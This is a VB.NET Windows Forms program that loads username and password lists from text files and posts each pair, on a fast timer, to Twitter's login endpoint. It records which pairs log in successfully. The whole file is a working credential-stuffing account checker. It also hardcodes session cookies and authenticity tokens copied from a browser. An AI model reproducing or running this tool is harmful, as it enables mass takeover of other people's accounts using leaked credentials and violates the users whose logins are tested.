Imports System.IO
Imports System.Net
Imports System.Text
Imports System.Threading
    Public Class Form1
    Function LoginInsta()
        Dim username
        Dim password
        username = ListBox1.SelectedItem
        password = ListBox2.SelectedItem
        Dim postdata As String = "session%5Busername_or_email%5D=" + username + "&session%5Bpassword%5D=" + password + "&authenticity_token=c2c96d07c216ff9995e63c302fd2664bd2ce9a7b&ui_metrics=%7B%22rf%22%3A%7B%22a0f277cb38352057c7bfd2877da923978b2fde9247279632eaebc9012b5e5f17%22%3A1%2C%22a8ed641fa559799a9b6914e4e458e09d79f9eef3c0263dd376c89afe3909844c%22%3A-1%2C%22ee18277b370e24b5261bd83541069def67e25bfbe13fc6ec43b56f205bac9e14%22%3A4%2C%22a29133e22dd8466ffc85ae013396074f9f9143a8cb763da843c882b4cd66169e%22%3A-13%7D%2C%22s%22%3A%2281yIaa7XGlfuKo4F-j3dOfBmZVURWjOoo5wEnTwAbvHAx5bXCBvXVQIzggvcp4qZmruPpF-SUvKoMv2jGpFGndHnYw9FkYW9qjjAhC88NLc05GOuPwdnhmTTc39zJhBlx_2QsQa5kjrw3iGJx4q3OBIHUQe1JtND9H21X7Y85ErbF6U-Hmlr8l7X7lNGDhgR7mmMpZG82GQwjlBKFtJSL7nKcZPcG-Tnf5qIDN1fw3N4btK5kjQ-Yd7UN_v4gB5DsBdzar7pjYvmIv44LcF_yqs06nYFKaVFgUDOGg7LmTHkk8fdHIqz4rANTNlFkLiqDkAbF6EXUYUaYJC_9StiTwAAAWJ9XGr-%22%7D&scribe_log=&redirect_after_login=&authenticity_token=c2c96d07c216ff9995e63c302fd2664bd2ce9a7b&remember_me=1"
        Dim reQ As HttpWebRequest = DirectCast(WebRequest.Create("https://twitter.com/sessions"), HttpWebRequest)
        reQ.Method = "POST"
        reQ.Host = "twitter.com"
        reQ.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
        reQ.Headers.Add("cookie", "_ga=GA1.2.1865372744.1515075438; kdt=dbLv2koiyIPav5OoBWqYr4oDxVa2n1N0xGdnlnD8; remember_checked_on=1; __utma=43838368.1865372744.1515075438.1521903151.1521907747.4; __utmz=43838368.1515452479.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tfw_exp=1; co=sa; dnt=1; personalization_id=v1_GLiy7w/rWxvtDNlUhhrJIg==; guest_id=v1%3A152190771526020095; external_referer=padhuUp37zjZx0oKNLiqDefF1DvMG40O|0|8e8t2xd8A2w%3D; _twitter_sess=BAh7CSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%250ASGFzaHsABjoKQHVzZWR7ADoPY3JlYXRlZF9hdGwrCDyvW31iAToMY3NyZl9p%250AZCIlYmMyMmQyYjZmNmFiZTA0MzdiYmRjNmI2OTYxOGJhMjY6B2lkIiVlNWNk%250AOGJhYTMyNDI4ZjA1NzUzODU4MzU2YzkwMDA0Yg%253D%253D--fefe54471b6ae4af0ba2a28e556f3c1c3ab91b05; ct0=7332aac9889ffaf55513deee2700a1bf; _gid=GA1.2.312223975.1522521591; _gat=1")
        reQ.ContentType = "application/x-www-form-urlencoded"
        reQ.Referer = "https://twitter.com/login"
        reQ.KeepAlive = True
        Dim bytes As Byte() = Encoding.UTF8.GetBytes(postdata)
        reQ.ContentLength = bytes.Length
        Dim requests As Stream = reQ.GetRequestStream
        requests.Write(bytes, 0, bytes.Length)
        requests.Close()
        Dim res As HttpWebResponse
        res = DirectCast(reQ.GetResponse(), HttpWebResponse)
        Dim Reader As New StreamReader(res.GetResponseStream)
        Dim page As String = Reader.ReadToEnd
        If page.Contains("path=%2Flogin%2Ferror&username_or_email=") Then
        Else
            TextBox4.AppendText(ListBox1.SelectedItem + ":" + ListBox2.SelectedItem)
        End If
    End Function
    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Timer1.Start()
    End Sub

    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
        Dim OpenFileDialog As New OpenFileDialog
        OpenFileDialog.Filter = "Text (*.txt)|*.txt"
        If (OpenFileDialog.ShowDialog = DialogResult.OK) Then
            Dim text() As String = IO.File.ReadAllLines(OpenFileDialog.FileName)
            ListBox1.Items.AddRange(text)
        End If
    End Sub

    Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
        Dim OpenFileDialog As New OpenFileDialog
        OpenFileDialog.Filter = "Text (*.txt)|*.txt"
        If (OpenFileDialog.ShowDialog = DialogResult.OK) Then
            Dim text() As String = IO.File.ReadAllLines(OpenFileDialog.FileName)
            ListBox2.Items.AddRange(text)
        End If
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        LoginInsta()
        ListBox1.SelectedIndex += 1
        ListBox2.SelectedIndex += 1
        Thread.Sleep("1")
    End Sub

    Private Sub Button4_Click(sender As Object, e As EventArgs) Handles Button4.Click
        Timer1.Stop()
    End Sub
End Class